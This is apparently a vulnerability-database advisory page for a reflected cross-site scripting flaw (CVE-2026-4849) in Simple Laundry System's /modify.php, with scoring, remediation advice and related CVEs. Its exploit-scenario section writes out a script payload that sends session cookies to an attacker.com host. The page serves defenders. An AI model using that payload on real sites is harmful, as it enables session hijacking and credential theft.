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Simple Laundry System EUVDEUVD-2026-16138

| CVE-2026-4849 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-26 VulDB GHSA-wgxm-cpjf-429r
2.1
CVSS 4.0 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While the CVSS v4.0 score of 5.3 appears moderate, the actual real-world risk is elevated due to multiple exploitation signals: a publicly available proof-of-concept exploit significantly lowers the barrier to attack execution; the attack vector is network-based with low complexity and no authentication required; exploitation is marked as 'P' (Proof of Concept exists), indicating practical feasibility. The CVSS vector shows user interaction is required (UI:P), which is the only limiting factor-an attacker must trick a user into clicking a malicious link. However, the widespread availability of the PoC on GitHub and the simplicity of XSS exploitation make this a legitimate priority for organizations running this software. The 'E:P' designation (Exploit - Proof of Concept) suggests this is likely to be weaponized if not already. This is not a low-priority issue masked by moderate metrics; it is a straightforward, easily exploitable vulnerability with active proof-of-concept code.

Exploit ScenarioDerived

An attacker crafts a malicious URL to the vulnerable /modify.php endpoint with a JavaScript payload injected into the firstName parameter (e.g., /modify.php?firstName=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via phishing email to a laundry system user. When the user clicks the link while logged in, the JavaScript executes in their browser, exfiltrating session cookies or credentials to the attacker's server. The public proof-of-concept available on GitHub (https://github.com/kbloow/CVE/issues/2) provides ready-made payload templates, significantly reducing the effort needed for an attacker to launch a successful campaign against vulnerable deployments.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 26, 2026

A reflected cross-site scripting (XSS) vulnerability exists in code-projects Simple Laundry System version 1.0 via the firstName parameter in the /modify.php file. An attacker can inject malicious JavaScript that executes in a victim's browser when they visit a crafted link, potentially leading to session hijacking, credential theft, or malware distribution. A public proof-of-concept is available on GitHub, and exploitation requires only user interaction (clicking a malicious link), making this a practical concern despite the moderate CVSS score of 5.3.

RemediationAI

The primary remediation is to apply a security patch from code-projects if available; check https://code-projects.org/ for updates to version 1.0 or later. If no official patch exists, implement server-side input validation and output encoding in /modify.php: use PHP's htmlspecialchars() or htmlentities() functions when rendering the firstName parameter in HTML context, or use a templating engine with automatic escaping enabled. Additionally, implement Content Security Policy (CSP) headers to restrict script execution and use prepared statements or parameterized queries if database queries are involved. Until patching is possible, restrict application access via network firewall rules, use a Web Application Firewall (WAF) to detect and block XSS payloads targeting the firstName parameter, and educate users not to click suspicious links to the application. Consider retiring this application if it is no longer actively maintained by code-projects.

Affected VersionsENISA

Simple Laundry System 1.0

Affected Packages

euvd simple_laundry_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a classic stored or reflected XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) in a PHP-based web application. The Simple Laundry System, identified via CPE (cpe:2.3:a:code-projects:simple_laundry_system:*:*:*:*:*:*:*:*), fails to properly sanitize or encode user-supplied input in the firstName parameter before rendering it in the /modify.php component. The Parameter Handler component does not implement adequate output encoding or input validation, allowing arbitrary HTML and JavaScript to be injected into the page context. This is a fundamental web application security flaw where user input is directly passed to the response without escaping special characters that have meaning in HTML/JavaScript contexts.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.3 (MEDIUM) 2.1 (LOW)
PoC Detected
Apr 03, 2026 - 17:52 vuln.today
Public exploit code
CVE Published
Mar 26, 2026 - 07:41 nvd
MEDIUM 5.3

DescriptionCVE.org

A vulnerability was identified in code-projects Simple Laundry System 1.0. This impacts an unknown function of the file /modify.php of the component Parameter Handler. The manipulation of the argument firstName leads to cross site scripting. The attack may be initiated remotely. The exploit is publicly available and might be used.

Executive ViewAI

Why It Matters

Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4849, a cross-site scripting vulnerability rated CVSS 5.3. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-5565 MEDIUM POC
5.5 Apr 05

SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to execute arbitrary SQ

CVE-2026-5564 MEDIUM POC
5.5 Apr 05

SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or

CVE-2026-5540 MEDIUM POC
5.5 Apr 05

SQL injection in Simple Laundry System 1.0 allows unauthenticated remote attackers to execute arbitrary SQL commands via

CVE-2026-4908 MEDIUM POC
5.5 Mar 27

SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or

CVE-2026-4850 MEDIUM POC
5.5 Mar 26

SQL injection in Simple Laundry System 1.0's /checkregisitem.php parameter handler allows unauthenticated remote attacke

CVE-2026-4784 MEDIUM POC
5.5 Mar 25

SQL injection in Simple Laundry System 1.0 PHP application allows unauthenticated remote attackers to execute arbitrary

CVE-2026-4581 MEDIUM POC
5.5 Mar 23

SQL injection in Simple Laundry System 1.0's /checklogin.php parameter handler allows unauthenticated remote attackers t

CVE-2026-4580 MEDIUM POC
5.5 Mar 23

SQL injection in Simple Laundry System 1.0's /checkupdatestatus.php parameter handler allows unauthenticated remote atta

CVE-2026-4579 MEDIUM POC
5.5 Mar 23

SQL injection in Simple Laundry System 1.0 through the serviceId parameter in /viewdetail.php allows unauthenticated rem

CVE-2025-5766 LOW POC
2.1 Jun 06

Cross-site request forgery in code-projects Laundry System 1.0 allows an attacker to perform unauthorized actions on beh

CVE-2026-6150 LOW POC
2.1 Apr 13

Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject arbitrary script

CVE-2026-6032 LOW POC
2.1 Apr 10

Reflected cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers

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